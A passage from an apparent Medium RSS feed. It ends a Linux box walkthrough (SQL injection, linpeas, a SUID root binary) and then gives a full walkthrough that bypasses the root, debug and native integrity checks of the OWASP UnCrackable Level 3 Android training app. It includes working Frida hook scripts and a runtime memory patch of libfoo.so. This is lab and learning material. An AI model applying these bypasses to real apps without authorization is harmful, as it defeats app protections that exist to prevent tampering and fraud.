we dumped using SQL Injection to login to the server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gyO-xMH8VH69sEpQ_DQcIw.png" /></figure><p>Next i uploaded linpeas and ran it to see if it could find any low hanging privilege escalation vectors</p><p>Linpeas discovers a SUID binary residing in the root of the file system called late</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KpLkxj6KG6gwUjUo-0HtVg.png" /></figure><p>On executing the binary we get root access to the system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rsCiMGd_bbpQzbCPUJkHtw.png" /></figure><p>And the box is pretty much done. The best reading materials when you’re trying to understand SQL Injection is</p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md#mysql-blind">PayloadsAllTheThings/SQL Injection/MySQL Injection.md at master · swisskyrepo/PayloadsAllTheThings</a></p><p>I Hope you enjoyed the walkthough if so clap for me down below and follow me so that you won’t miss any upcoming walkthoughs</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f018ab74e277" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing In-App Protections Uncrackable 3 Android]]></title>
            <link>https://musyokaian.medium.com/bypassing-in-app-protections-uncrackable-3-android-1fd76abcf7ed?source=rss-39ea31329f8f------2</link>
            <guid isPermaLink="false">https://medium.com/p/1fd76abcf7ed</guid>
            <category><![CDATA[hooking]]></category>
            <category><![CDATA[uncrackable-3]]></category>
            <category><![CDATA[frida]]></category>
            <category><![CDATA[owasp-mobile-top-10]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <dc:creator><![CDATA[Musyoka Ian]]></dc:creator>
            <pubDate>Sun, 03 Nov 2024 17:06:11 GMT</pubDate>
            <atom:updated>2024-11-03T17:06:11.530Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*LORwPQsBRKO8SpasyTlmCg.png" /></figure><blockquote>Hello guys and welcome back to another walkthrough. This time we’ll be looking at how ton bypass. The Android application has implemented protection from the java layer and also inside the native library. I’ve already written two posts concerning how to bypass similar checks in an application hence this should be a walk in the park. The only pre-requise you’ll need is an understanding on frida and how it performs hooking. We’ll begun by hooking the protection in the Java layer and find out that still the application crashes and realize the native binary has an extra layer of protection. We hook into the native library and patch the code. Am sure there are other plenty of solutions out there but it was cool how i did it and figured why not make a walkthrough of it maybe it might help someone</blockquote><p>The Android application i used can be downloaded using the below link</p><p><a href="https://mas.owasp.org/crackmes/Android/#android-uncrackable-l3">Android Crackmes - OWASP Mobile Application Security</a></p><p>Try as much as possible to not look at the spoilers and take this as a learning opportunity.</p><p>After installing the application using adb and opening it we get the following error message</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gVZXCweNYKVqqo8Xoy01iw.png" /></figure><p>Time to do some reverse engineering. I opened the application using jadx-gui</p><p>Looking through the code to determine where the checks are being triggered fro the main activity we notice that it’s being triggered from an if statement code that calls a RootDetection class</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqoP0F2oD0PM0E-YNK3tcg.png" /></figure><p>My main aim was to begin by hooking into this 3 classes and see if i can be able to bypass this checks using frida. let’s being by creating the frida scripts. Below is a template i wrote which include popular frida articles which have helped me along the way</p><pre>/**<br> * Articles<br> * https://node-security.com/posts/frida-for-ios/<br> * https://frida.re/docs/javascript-api/<br> * https://awakened1712.github.io/hacking/hacking-frida/<br> * https://github.com/interference-security/frida-scripts<br> * https://learnfrida.info/advanced_usage/<br> * https://8ksec.io/advanced-frida-mobile/<br> * https://github.com/frida/frida/issues/298<br> * https://github.com/frida/frida/issues/607<br> * https://deviltux.thedev.id/notes/ios-frida-scripting/<br> * https://github.com/frida/frida/issues/985 working<br> */<br><br>const colors = {<br>    colorize: (str, cc) =&gt; `\x1b${cc}${str}\x1b[0m`,<br>    red: str =&gt; colors.colorize(str, &#39;[31m&#39;),<br>    green: str =&gt; colors.colorize(str, &#39;[32m&#39;),<br>    yellow: str =&gt; colors.colorize(str, &#39;[33m&#39;),<br>    blue: str =&gt; colors.colorize(str, &#39;[34m&#39;),<br>    cyan: str =&gt; colors.colorize(str, &#39;[36m&#39;),<br>    white: str =&gt; colors.colorize(str, &#39;[37m&#39;),<br>};<br><br><br><br>Java.perform(function(){<br>    try{<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});</pre><p>We are going to build our scripts from this specific template. Looking the the root detection class it has three functions checkRoot1, checkRoot2 and checkRoot3 which returns boolean values. If root is detected it returns true</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rcCCn8TSDBz4DFvV7hOROA.png" /></figure><p>There’s also an integrity check class that also returns true if the application is being debugged</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v4Nc64iCqgZdUWty4Ikf3g.png" /></figure><p>Let’s start by writing our code</p><p>Below is the code i wrote</p><pre>/**<br> * Articles<br> * https://node-security.com/posts/frida-for-ios/<br> * https://frida.re/docs/javascript-api/<br> * https://awakened1712.github.io/hacking/hacking-frida/<br> * https://github.com/interference-security/frida-scripts<br> * https://learnfrida.info/advanced_usage/<br> * https://8ksec.io/advanced-frida-mobile/<br> * https://github.com/frida/frida/issues/298<br> * https://github.com/frida/frida/issues/607<br> * https://deviltux.thedev.id/notes/ios-frida-scripting/<br> * https://github.com/frida/frida/issues/985 working<br> */<br><br>const colors = {<br>    colorize: (str, cc) =&gt; `\x1b${cc}${str}\x1b[0m`,<br>    red: str =&gt; colors.colorize(str, &#39;[31m&#39;),<br>    green: str =&gt; colors.colorize(str, &#39;[32m&#39;),<br>    yellow: str =&gt; colors.colorize(str, &#39;[33m&#39;),<br>    blue: str =&gt; colors.colorize(str, &#39;[34m&#39;),<br>    cyan: str =&gt; colors.colorize(str, &#39;[36m&#39;),<br>    white: str =&gt; colors.colorize(str, &#39;[37m&#39;),<br>};<br><br><br>Java.perform(function(){<br>    try{<br><br>        var rootdetect1 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect1[&quot;checkRoot1&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot1 called by the application&quot;));<br>            var ret = this.checkRoot1();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot1: &quot;+ret));<br>            return ret<br>        }<br>        var rootdetect2 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect2[&quot;checkRoot2&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot2 called by the application&quot;));<br>            var ret = this.checkRoot2();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot2: &quot;+ret));<br>            return ret<br>        }<br>        var rootdetect3 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect3[&quot;checkRoot3&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot3 called by the application&quot;));<br>            var ret = this.checkRoot3();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot3: &quot;+ret));<br>            return ret<br>        }<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});<br><br><br><br>Java.perform(function(){<br>    try{<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});</pre><p>Before we can run the code we need to know the application id. This can be done using frida-ps and the below command</p><pre>frida-ps -Uia | grep -i crack</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*gFW34PNa09CmHXBl9IIFfw.png" /></figure><p>Now that we have the package name we can run the application while injecting our script. The command i used was</p><pre>frida -U -l scripts/hook.js -f  owasp.mstg.uncrackable3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U0Ifz_wMLh3DZB5W3HM9Vw.png" /></figure><p>Looking at the script only checkroot1 is called and it returns true</p><p>Let’s change the return value to false. This requires us to update the script</p><pre>/**<br> * Articles<br> * https://node-security.com/posts/frida-for-ios/<br> * https://frida.re/docs/javascript-api/<br> * https://awakened1712.github.io/hacking/hacking-frida/<br> * https://github.com/interference-security/frida-scripts<br> * https://learnfrida.info/advanced_usage/<br> * https://8ksec.io/advanced-frida-mobile/<br> * https://github.com/frida/frida/issues/298<br> * https://github.com/frida/frida/issues/607<br> * https://deviltux.thedev.id/notes/ios-frida-scripting/<br> * https://github.com/frida/frida/issues/985 working<br> */<br><br>const colors = {<br>    colorize: (str, cc) =&gt; `\x1b${cc}${str}\x1b[0m`,<br>    red: str =&gt; colors.colorize(str, &#39;[31m&#39;),<br>    green: str =&gt; colors.colorize(str, &#39;[32m&#39;),<br>    yellow: str =&gt; colors.colorize(str, &#39;[33m&#39;),<br>    blue: str =&gt; colors.colorize(str, &#39;[34m&#39;),<br>    cyan: str =&gt; colors.colorize(str, &#39;[36m&#39;),<br>    white: str =&gt; colors.colorize(str, &#39;[37m&#39;),<br>};<br><br><br>Java.perform(function(){<br>    try{<br><br>        var rootdetect1 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect1[&quot;checkRoot1&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot1 called by the application&quot;));<br>            var ret = this.checkRoot1();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot1: &quot;+ret+&quot;\n\t[+] Returning false&quot;));<br>            return false<br>        }<br>        var rootdetect2 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect2[&quot;checkRoot2&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot2 called by the application&quot;));<br>            var ret = this.checkRoot2();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot2: &quot;+ret));<br>            return ret<br>        }<br>        var rootdetect3 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect3[&quot;checkRoot3&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot3 called by the application&quot;));<br>            var ret = this.checkRoot3();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot3: &quot;+ret));<br>            return ret<br>        }<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});<br><br><br><br>Java.perform(function(){<br>    try{<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});</pre><p>When we inject the script a second time all three root checks and all return false. But why is the application still erroring out ???</p><p>There was one last integrity check Let’s try hooking the method and see if it’ll be enough to bypass the check</p><p>Below is the revised code</p><pre>/**<br> * Articles<br> * https://node-security.com/posts/frida-for-ios/<br> * https://frida.re/docs/javascript-api/<br> * https://awakened1712.github.io/hacking/hacking-frida/<br> * https://github.com/interference-security/frida-scripts<br> * https://learnfrida.info/advanced_usage/<br> * https://8ksec.io/advanced-frida-mobile/<br> * https://github.com/frida/frida/issues/298<br> * https://github.com/frida/frida/issues/607<br> * https://deviltux.thedev.id/notes/ios-frida-scripting/<br> * https://github.com/frida/frida/issues/985 working<br> */<br><br>const colors = {<br>    colorize: (str, cc) =&gt; `\x1b${cc}${str}\x1b[0m`,<br>    red: str =&gt; colors.colorize(str, &#39;[31m&#39;),<br>    green: str =&gt; colors.colorize(str, &#39;[32m&#39;),<br>    yellow: str =&gt; colors.colorize(str, &#39;[33m&#39;),<br>    blue: str =&gt; colors.colorize(str, &#39;[34m&#39;),<br>    cyan: str =&gt; colors.colorize(str, &#39;[36m&#39;),<br>    white: str =&gt; colors.colorize(str, &#39;[37m&#39;),<br>};<br><br><br>Java.perform(function(){<br>    try{<br><br>        var rootdetect1 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect1[&quot;checkRoot1&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot1 called by the application&quot;));<br>            var ret = this.checkRoot1();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot1: &quot;+ret+&quot;\n\t[+] Returning false&quot;));<br>            return false<br>        }<br>        var rootdetect2 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect2[&quot;checkRoot2&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot2 called by the application&quot;));<br>            var ret = this.checkRoot2();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot2: &quot;+ret));<br>            return ret<br>        }<br>        var rootdetect3 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect3[&quot;checkRoot3&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot3 called by the application&quot;));<br>            var ret = this.checkRoot3();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot3: &quot;+ret));<br>            return ret<br>        }<br>        var integritycheck = Java.use(&quot;sg.vantagepoint.util.IntegrityCheck&quot;);<br>        integritycheck[&quot;isDebuggable&quot;].overload(&#39;android.content.Context&#39;).implementation = function(context_0){<br>            console.log(colors.cyan(&quot;\t[*] isDebuggable called by the application&quot;));<br>            var ret = this.isDebuggable(context_0);<br>            console.log(colors.green(&quot;\t[*] Return value for isDebuggable: &quot;+ret));<br>            return ret<br>        }<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});<br><br><br><br>Java.perform(function(){<br>    try{<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});</pre><p>Running the script again we get the following error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zRIfF-9LTPSihyweGNp7gw.png" /></figure><p>Though we’ve managed to patch all the in-app protection from the java layer still the application fails. But looking at the error message returned by frida we get some really useful information We get the stack trace and offset where the error occurred. And i was mostly interested in the libfoo.so shared library since it’s related to the Android application itself</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eU7t8zN2cVW5RjolJxzFvw.png" /></figure><p>I de-compiled the binary with apktool to get the shared library. The command i used was</p><pre>java -jar apktool_2.10.0.jar d UnCrackable-Level3.apk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eNk711GDzPVqVQBnkp6Xpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zSL2xQC3X4HlmApv9pTKXQ.png" /></figure><p>I loaded the shared library to binary ninja which by far has become the best disassembler i have used(My opinion.). But you can use any other disassembler like ghidra or hopper or ida.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RAUIBlRb2UoZ5fZ1WGuw7g.png" /></figure><p>Remember we had the offset where our application was erroring out. My first though was to just jump to that offset</p><p>Pressing g when in binary ninja brings up the jump to offset window</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dUnfsDyGvfUNLfHRxPCEZw.png" /></figure><p>I just input the offset we got earlier and pressed enter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CV_Hz0KDt1K4Ae1KmyCT6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uahMH_cWl0crCwuRWYkd9g.png" /></figure><p>Let’s patch the memory address to include nopsleds this will ensure that when that code segment is hit nothing happens the application just keeps on executing</p><p>To hook into the library we first need to understand how it happens. linker64 from arm64 architecture is used to load the shared library to memory. We need to get the address of the symbol do_dlopen which is used to load the library in memory. The reason as to why we are doing this is because we are catering for a scenario where we try to hook the shared library before it’s loaded because this will cause frida to error out hence we need to wait to the exact moment when the shared library has fully loaded in memory and just before it’s functions are executed. To know that the library has fully loaded we hook the call_constructor method</p><p>Below is the code used to ensure that this preconditions are met</p><pre>var do_dlopen_address = null;<br>var call_constructor_address = null <br><br>var linker64 = Process.findModuleByName(&quot;linker64&quot;).enumerateSymbols();<br><br>for(var i = 0;i &lt; linker64.length;i++){<br>    if((JSON.stringify(linker64[i])).indexOf(&quot;do_dlopen&quot;) &gt;= 0){<br>        console.log(colors.green(&quot;\t[+] Address of do_dlopen leaked: &quot;+linker64[i].address));<br>        do_dlopen_address = linker64[i].address<br>    }else if((JSON.stringify(linker64[i])).indexOf(&quot;call_constructor&quot;) &gt;= 0){<br>        console.log(colors.green(&quot;\t[+] Address of call_constructor leaked: &quot;+linker64[i].address));<br>        call_constructor_address = linker64[i].address<br>    }<br>}<br><br>var libfoo_loaded = 0<br><br><br>Java.perform(function(){<br>    try{<br>        Interceptor.attach(do_dlopen_address, {<br>            onEnter: function(args){<br>                if((args[0].readCString()).indexOf(&quot;libfoo.so&quot;) &gt;= 0){<br>                    console.log(colors.yellow(&quot;\t[+] libfoo.so has begun loading in memory&quot;));<br>                    Interceptor.attach(call_constructor_address, {<br>                        onEnter: function(args){<br>                            if(libfoo_loaded == 0){<br>                                console.log(colors.yellow(&quot;\t[+] Libfoo.so has finished loading in memory&quot;));<br>                                libfoo_loaded = 1<br>                            }<br>                        }<br>                    })<br>                }<br>            },<br>            onLeave: function(retval){<br>                //do nothing<br>            }<br>        })<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});</pre><p>Ensure the abbove snippet is added to the pre-existing code to be</p><pre>/**<br> * Articles<br> * https://node-security.com/posts/frida-for-ios/<br> * https://frida.re/docs/javascript-api/<br> * https://awakened1712.github.io/hacking/hacking-frida/<br> * https://github.com/interference-security/frida-scripts<br> * https://learnfrida.info/advanced_usage/<br> * https://8ksec.io/advanced-frida-mobile/<br> * https://github.com/frida/frida/issues/298<br> * https://github.com/frida/frida/issues/607<br> * https://deviltux.thedev.id/notes/ios-frida-scripting/<br> * https://github.com/frida/frida/issues/985 working<br> */<br><br>const colors = {<br>    colorize: (str, cc) =&gt; `\x1b${cc}${str}\x1b[0m`,<br>    red: str =&gt; colors.colorize(str, &#39;[31m&#39;),<br>    green: str =&gt; colors.colorize(str, &#39;[32m&#39;),<br>    yellow: str =&gt; colors.colorize(str, &#39;[33m&#39;),<br>    blue: str =&gt; colors.colorize(str, &#39;[34m&#39;),<br>    cyan: str =&gt; colors.colorize(str, &#39;[36m&#39;),<br>    white: str =&gt; colors.colorize(str, &#39;[37m&#39;),<br>};<br><br><br>Java.perform(function(){<br>    try{<br><br>        var rootdetect1 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect1[&quot;checkRoot1&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot1 called by the application&quot;));<br>            var ret = this.checkRoot1();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot1: &quot;+ret+&quot;\n\t[+] Returning false&quot;));<br>            return false<br>        }<br>        var rootdetect2 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect2[&quot;checkRoot2&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot2 called by the application&quot;));<br>            var ret = this.checkRoot2();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot2: &quot;+ret));<br>            return ret<br>        }<br>        var rootdetect3 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect3[&quot;checkRoot3&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot3 called by the application&quot;));<br>            var ret = this.checkRoot3();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot3: &quot;+ret));<br>            return ret<br>        }<br>        var integritycheck = Java.use(&quot;sg.vantagepoint.util.IntegrityCheck&quot;);<br>        integritycheck[&quot;isDebuggable&quot;].overload(&#39;android.content.Context&#39;).implementation = function(context_0){<br>            console.log(colors.cyan(&quot;\t[*] isDebuggable called by the application&quot;));<br>            var ret = this.isDebuggable(context_0);<br>            console.log(colors.green(&quot;\t[*] Return value for isDebuggable: &quot;+ret));<br>            return ret<br>        }<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});<br><br><br>var do_dlopen_address = null;<br>var call_constructor_address = null <br><br>var linker64 = Process.findModuleByName(&quot;linker64&quot;).enumerateSymbols();<br><br>for(var i = 0;i &lt; linker64.length;i++){<br>    if((JSON.stringify(linker64[i])).indexOf(&quot;do_dlopen&quot;) &gt;= 0){<br>        console.log(colors.green(&quot;\t[+] Address of do_dlopen leaked: &quot;+linker64[i].address));<br>        do_dlopen_address = linker64[i].address<br>    }else if((JSON.stringify(linker64[i])).indexOf(&quot;call_constructor&quot;) &gt;= 0){<br>        console.log(colors.green(&quot;\t[+] Address of call_constructor leaked: &quot;+linker64[i].address));<br>        call_constructor_address = linker64[i].address<br>    }<br>}<br><br>var libfoo_loaded = 0<br><br><br>Java.perform(function(){<br>    try{<br>        Interceptor.attach(do_dlopen_address, {<br>            onEnter: function(args){<br>                if((args[0].readCString()).indexOf(&quot;libfoo.so&quot;) &gt;= 0){<br>                    console.log(colors.yellow(&quot;\t[+] libfoo.so has begun loading in memory&quot;));<br>                    Interceptor.attach(call_constructor_address, {<br>                        onEnter: function(args){<br>                            if(libfoo_loaded == 0){<br>                                console.log(colors.yellow(&quot;\t[+] Libfoo.so has finished loading in memory&quot;));<br>                                libfoo_loaded = 1<br>                            }<br>                        }<br>                    })<br>                }<br>            },<br>            onLeave: function(retval){<br>                //do nothing<br>            }<br>        })<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});<br><br><br><br>Java.perform(function(){<br>    try{<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});</pre><p>Running the script we get the exact moment the libfoo library finishes loading in memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9xsNraINx13qi5ZZcBoOdA.png" /></figure><p>We are now okay to patch the binary..</p><p>I wrote a function that patches the specific memory address specified during runtime below is the code snippet</p><pre>function patchMemory(base_address, offset){<br>    try{<br><br>        var patch_address = base_address.add(offset);<br><br>        Memory.patchCode(patch_address, Process.pageSize, code =&gt; {<br>            const cw = new Arm64Writer(code, { pc: patch_address });<br>            cw.putNop();<br>            cw.putRet();<br>          });<br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}</pre><p>The function requires two arguments which are the base address and the offset to jump to from the base address</p><p>To get the base address i used the following api from frida</p><pre>Module.getBaseAddress(&quot;libfoo.so&quot;);</pre><p>Remember we need to get the base address during runtime because the address will keep on changing due to aslr</p><p>To call the function we’ll do so as below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*Wszk5GE6YQ9Y3gMqKNSrBw.png" /></figure><p>The full exploit chain will be</p><pre>/**<br> * Articles<br> * https://node-security.com/posts/frida-for-ios/<br> * https://frida.re/docs/javascript-api/<br> * https://awakened1712.github.io/hacking/hacking-frida/<br> * https://github.com/interference-security/frida-scripts<br> * https://learnfrida.info/advanced_usage/<br> * https://8ksec.io/advanced-frida-mobile/<br> * https://github.com/frida/frida/issues/298<br> * https://github.com/frida/frida/issues/607<br> * https://deviltux.thedev.id/notes/ios-frida-scripting/<br> * https://github.com/frida/frida/issues/985 working<br> */<br><br>const colors = {<br>    colorize: (str, cc) =&gt; `\x1b${cc}${str}\x1b[0m`,<br>    red: str =&gt; colors.colorize(str, &#39;[31m&#39;),<br>    green: str =&gt; colors.colorize(str, &#39;[32m&#39;),<br>    yellow: str =&gt; colors.colorize(str, &#39;[33m&#39;),<br>    blue: str =&gt; colors.colorize(str, &#39;[34m&#39;),<br>    cyan: str =&gt; colors.colorize(str, &#39;[36m&#39;),<br>    white: str =&gt; colors.colorize(str, &#39;[37m&#39;),<br>};<br><br><br>Java.perform(function(){<br>    try{<br><br>        var rootdetect1 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect1[&quot;checkRoot1&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot1 called by the application&quot;));<br>            var ret = this.checkRoot1();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot1: &quot;+ret+&quot;\n\t[+] Returning false&quot;));<br>            return false<br>        }<br>        var rootdetect2 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect2[&quot;checkRoot2&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot2 called by the application&quot;));<br>            var ret = this.checkRoot2();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot2: &quot;+ret));<br>            return ret<br>        }<br>        var rootdetect3 = Java.use(&quot;sg.vantagepoint.util.RootDetection&quot;);<br>        rootdetect3[&quot;checkRoot3&quot;].overload().implementation = function(){<br>            console.log(colors.cyan(&quot;\t[*] checkRoot3 called by the application&quot;));<br>            var ret = this.checkRoot3();<br>            console.log(colors.green(&quot;\t[*] Return value for checkRoot3: &quot;+ret));<br>            return ret<br>        }<br>        var integritycheck = Java.use(&quot;sg.vantagepoint.util.IntegrityCheck&quot;);<br>        integritycheck[&quot;isDebuggable&quot;].overload(&#39;android.content.Context&#39;).implementation = function(context_0){<br>            console.log(colors.cyan(&quot;\t[*] isDebuggable called by the application&quot;));<br>            var ret = this.isDebuggable(context_0);<br>            console.log(colors.green(&quot;\t[*] Return value for isDebuggable: &quot;+ret));<br>            return ret<br>        }<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});<br><br><br>var do_dlopen_address = null;<br>var call_constructor_address = null <br><br>var linker64 = Process.findModuleByName(&quot;linker64&quot;).enumerateSymbols();<br><br>for(var i = 0;i &lt; linker64.length;i++){<br>    if((JSON.stringify(linker64[i])).indexOf(&quot;do_dlopen&quot;) &gt;= 0){<br>        console.log(colors.green(&quot;\t[+] Address of do_dlopen leaked: &quot;+linker64[i].address));<br>        do_dlopen_address = linker64[i].address<br>    }else if((JSON.stringify(linker64[i])).indexOf(&quot;call_constructor&quot;) &gt;= 0){<br>        console.log(colors.green(&quot;\t[+] Address of call_constructor leaked: &quot;+linker64[i].address));<br>        call_constructor_address = linker64[i].address<br>    }<br>}<br><br>var libfoo_loaded = 0<br><br><br>Java.perform(function(){<br>    try{<br>        Interceptor.attach(do_dlopen_address, {<br>            onEnter: function(args){<br>                if((args[0].readCString()).indexOf(&quot;libfoo.so&quot;) &gt;= 0){<br>                    console.log(colors.yellow(&quot;\t[+] libfoo.so has begun loading in memory&quot;));<br>                    Interceptor.attach(call_constructor_address, {<br>                        onEnter: function(args){<br>                            if(libfoo_loaded == 0){<br>                                console.log(colors.yellow(&quot;\t[+] Libfoo.so has finished loading in memory&quot;));<br>                                var libfoo_base_address = Module.getBaseAddress(&quot;libfoo.so&quot;);<br>                                patchMemory(libfoo_base_address, &quot;0x31ac&quot;);<br>                                libfoo_loaded = 1<br>                            }<br>                        }<br>                    })<br>                }<br>            },<br>            onLeave: function(retval){<br>                //do nothing<br>            }<br>        })<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});<br><br>function patchMemory(base_address, offset){<br>    try{<br><br>        var patch_address = base_address.add(offset);<br><br>        Memory.patchCode(patch_address, Process.pageSize, code =&gt; {<br>            const cw = new Arm64Writer(code, { pc: patch_address });<br>            cw.putNop();<br>            cw.putRet();<br>          });<br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>}<br><br>Java.perform(function(){<br>    try{<br><br>    }<br>    catch(e){<br>        console.log(colors.red(&quot;\t[*] An error occured: &quot;+e.stack))<br>    }<br>});</pre><p>Let’s save the exploit and run with frida again. ooking down below all the in-app protections have been bypassed fully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*psjDVCUBoQ6WE_sfbDq-iA.png" /></figure><p>This shows how frida is definitely a world class tool to have in your arsenal as an android pentester. I might this similar attack using frida Stalker though am having a few bugs am still working on 🙂.</p><p>I hope you enjoyed the walkthough if so clap of me down below and follow me so that you don’t miss any upcoming walkthough</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1fd76abcf7ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>